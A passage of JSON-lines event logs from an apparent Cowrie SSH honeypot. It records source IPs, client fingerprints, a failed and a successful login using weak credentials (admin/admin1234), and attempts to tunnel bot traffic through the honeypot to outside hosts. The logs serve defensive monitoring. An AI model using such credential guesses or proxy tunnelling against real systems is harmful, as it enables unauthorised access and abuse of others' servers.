x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\xd9\\xe1Y$\\xfe\\xa2;\\x10\\xac f|\\xe9\\x9c\\xe5\\x8b \\xf8\\xfe\\xa4c0\\x7f\\xca~E.G\\xcb\\x82F Q\\x7f\\x99\\xb0\\xdd\\x1c\\x98\\xb1\\xb4\\xad\\x91;\\xf9\\xc6\\x97\\x95\\xa4\\xe9\\xc8!\\\\\\r{\\xfb\\xf7\\x8f3k0,\\xc3\\x1b\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 c];B\\x1cN\\xe0\\xf6\\xfc\\xa8\\xec\\xeaK\\xe6\\x12\\xa3\\x12\\xd2X\\xae\\xfb*\\xff\\x129b\\x18z\\x98\\xc5\\x9bw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:29.468999Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:29.803509Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"654321","message":"login attempt [elasticsearch/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:29.856959Z","src_ip":"91.92.40.36","session":"1ad07a4f7335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13550,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4780436d32","protocol":"ssh","message":"New connection: 91.92.40.36:13550 (159.203.135.109:22) [session: 8a4780436d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:31.262693Z"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:31.989620Z","src_ip":"91.92.40.36","session":"1ad07a4f7335","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:32.185065Z","src_ip":"91.92.40.36","session":"8a4780436d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:32.188845Z","src_ip":"91.92.40.36","session":"8a4780436d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":60228,"dst_ip":"10.17.0.5","dst_port":22,"session":"59fa5538b299","protocol":"ssh","message":"New connection: 123.27.168.40:60228 (10.17.0.5:22) [session: 59fa5538b299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:32.415423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:32.420091Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:32.670148Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:33.795093Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:34.180389Z","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:34.321221Z","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:34.426958Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-A326W) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e0paVjhUIVVENEVrOHc3Zg%3D%3DWjy%2F3q44WxiVOGG4IRrlR9NGBrXC92%2FINrWD261PW6FwenWtrpL7PAvYGP%2B2045rPC1eUoJBePxxt7yEEDCp7WZaare%2Bw9OK7iJxcRYT%2FIigqVk5pSIvjzg0L4GmVcdd3NbIj2FdcNWmsdhMy%2BxQ%2F7MzUKTx50BPb4Dw6Dz9Ih6qhIqHRM32Yz9dpzBscbtDS6zhsrjYUjlxauvpV%2FXOPlguWi0gxelS%2BTnZ%2Fjkmx8OlJupi8RbVfIaBvbRCbcEEXFe8J2L6OrDBFTV0UWmRmdX1ySIbvSWVPMMRqSq5nMBIB0BHew9AdMns2owpPCcRZITbGk6rnZFcl4bmkkU4Cz6vg8LEG%2Bj6Fjb66M8mqyj%2FX%2Bbc72jzvxg6zc28vg7S5XDu45iMcZEk8CRKUcGR9EIIhgE5qQxdLvs1jT25o6a%2BvEpbnk3SA2gH%2BoX1bh%2F2nDYkJUpoPcpyCRUL6%2BYcNMAu%2F1W4hrcOY4YoZlqxAFaoA2OLDW%2FQYcMddObMrULsXFR6LPko2xn0z7syWdzHTStEwws7alw2%2Blld8UiikMwJVejYJmIxbmvQ8D3fF2v1qJe%2FyrHaR4oQKTv%2F5dCjfZOsAijrDgvPj9oBNjYSent%2FWuAAIyim2uQayomwXJ3k%2BvuaiUIQB0nliEO7KeHzWs2HbfxjvbNk6jd4jwV3FPRL9IfTetK1zKrbPBFxRMqj6FoRzYFwGJ3U0f7isQkA5t%2FWVySHpKVrfZzxbcjHPJB%2Fn9MmFJ8V8dIllxZ4Pa7xrxi0XNtcqbkCdpH23LoKRk7dx%2FmRUOqkA87Wv6fQabZo9t%2FwVwbDBqZLv2d596fAwPVQMptyzxuO1SRqf3SJSBnVHlAgRzSHmQ4RuDqA4AqXMxYLSgUVLwtfPW6r9oWHqiMnQxznkU9ZsFCx3zBM4N2VmcQshN3HmuJhx8bpK9KT2NcZPwpuNZs%2BsbdGHGXEct1z1if%2BLOnPCzWJAXkImXwefg8Ki4ehYgRIp%2Bk2h0CW9JH3HnAB6ujytDq2r49HLhVS3PV5yZmAITlOEZo7t4mMql0A%2BGvQvI01az3BhWI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-A326W) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e0paVjhUIVVENEVrOHc3Zg%3D%3DWjy%2F3q44WxiVOGG4IRrlR9NGBrXC92%2FINrWD261PW6FwenWtrpL7PAvYGP%2B2045rPC1eUoJBePxxt7yEEDCp7WZaare%2Bw9OK7iJxcRYT%2FIigqVk5pSIvjzg0L4GmVcdd3NbIj2FdcNWmsdhMy%2BxQ%2F7MzUKTx50BPb4Dw6Dz9Ih6qhIqHRM32Yz9dpzBscbtDS6zhsrjYUjlxauvpV%2FXOPlguWi0gxelS%2BTnZ%2Fjkmx8OlJupi8RbVfIaBvbRCbcEEXFe8J2L6OrDBFTV0UWmRmdX1ySIbvSWVPMMRqSq5nMBIB0BHew9AdMns2owpPCcRZITbGk6rnZFcl4bmkkU4Cz6vg8LEG%2Bj6Fjb66M8mqyj%2FX%2Bbc72jzvxg6zc28vg7S5XDu45iMcZEk8CRKUcGR9EIIhgE5qQxdLvs1jT25o6a%2BvEpbnk3SA2gH%2BoX1bh%2F2nDYkJUpoPcpyCRUL6%2BYcNMAu%2F1W4hrcOY4YoZlqxAFaoA2OLDW%2FQYcMddObMrULsXFR6LPko2xn0z7syWdzHTStEwws7alw2%2Blld8UiikMwJVejYJmIxbmvQ8D3fF2v1qJe%2FyrHaR4oQKTv%2F5dCjfZOsAijrDgvPj9oBNjYSent%2FWuAAIyim2uQayomwXJ3k%2BvuaiUIQB0nliEO7KeHzWs2HbfxjvbNk6jd4jwV3FPRL9IfTetK1zKrbPBFxRMqj6FoRzYFwGJ3U0f7isQkA5t%2FWVySHpKVrfZzxbcjHPJB%2Fn9MmFJ8V8dIllxZ4Pa7xrxi0XNtcqbkCdpH23LoKRk7dx%2FmRUOqkA87Wv6fQabZo9t%2FwVwbDBqZLv2d596fAwPVQMptyzxuO1SRqf3SJSBnVHlAgRzSHmQ4RuDqA4AqXMxYLSgUVLwtfPW6r9oWHqiMnQxznkU9ZsFCx3zBM4N2VmcQshN3HmuJhx8bpK9KT2NcZPwpuNZs%2BsbdGHGXEct1z1if%2BLOnPCzWJAXkImXwefg8Ki4ehYgRIp%2Bk2h0CW9JH3HnAB6ujytDq2r49HLhVS3PV5yZmAITlOEZo7t4mMql0A%2BGvQvI01az3BhWI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:34.429713Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:34.667591Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x10\\x16\\xe2\\xfc\\xc7o\\x98\\xbe\\x99\\x0b\\xa2\\xbe\\x80\\xb41\\x11>\\xc4\\x86;\\xca\\x9b\\xa3\\x87\\xfa\\x0f\\x18t\\xf0\\x9d`\\xf2 \\xfe\\xbd\\xcd\\x86\\xb9\\xcd\\x05\\x12\\xe9\\x92\\xf1(\\x94\\xa6\\xc8#\\xff\\xe0\\xfdX\\xd0#\\xf3x\\xc4\\x1b\\x18\\x08\\xe4\\xf4\\xeeo\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8[Wa\\xd2I\\t\\xc0\\x7f0\\rT\\xcdDv{\\xd6y\\x84x\\x7f\\xf8\\xcd\\xfb\\xf3\\x91[\\xe9\\x19\\x85y'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x10\\x16\\xe2\\xfc\\xc7o\\x98\\xbe\\x99\\x0b\\xa2\\xbe\\x80\\xb41\\x11>\\xc4\\x86;\\xca\\x9b\\xa3\\x87\\xfa\\x0f\\x18t\\xf0\\x9d`\\xf2 \\xfe\\xbd\\xcd\\x86\\xb9\\xcd\\x05\\x12\\xe9\\x92\\xf1(\\x94\\xa6\\xc8#\\xff\\xe0\\xfdX\\xd0#\\xf3x\\xc4\\x1b\\x18\\x08\\xe4\\xf4\\xeeo\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8[Wa\\xd2I\\t\\xc0\\x7f0\\rT\\xcdDv{\\xd6y\\x84x\\x7f\\xf8\\xcd\\xfb\\xf3\\x91[\\xe9\\x19\\x85y'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:34.670884Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:35.149784Z","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:35.401119Z","src_ip":"123.27.168.40","session":"59fa5538b299","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f\\x08\\xe6\\x02\\x93\\x14\\x1a\\xc6\\x87|\\xc1\\xd7}4LIR\\xfb\\x8f\\xcfoW\\n\\xcc\\x85\\x0be*=5jZ \\xe0j\\xb8oJ\\xf7m4\\x19_B/\\x05\\x0e\\xdcl\\x02\\x9aG] \\x93{W\\x96I>-\\xee\\x90\\x17]\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x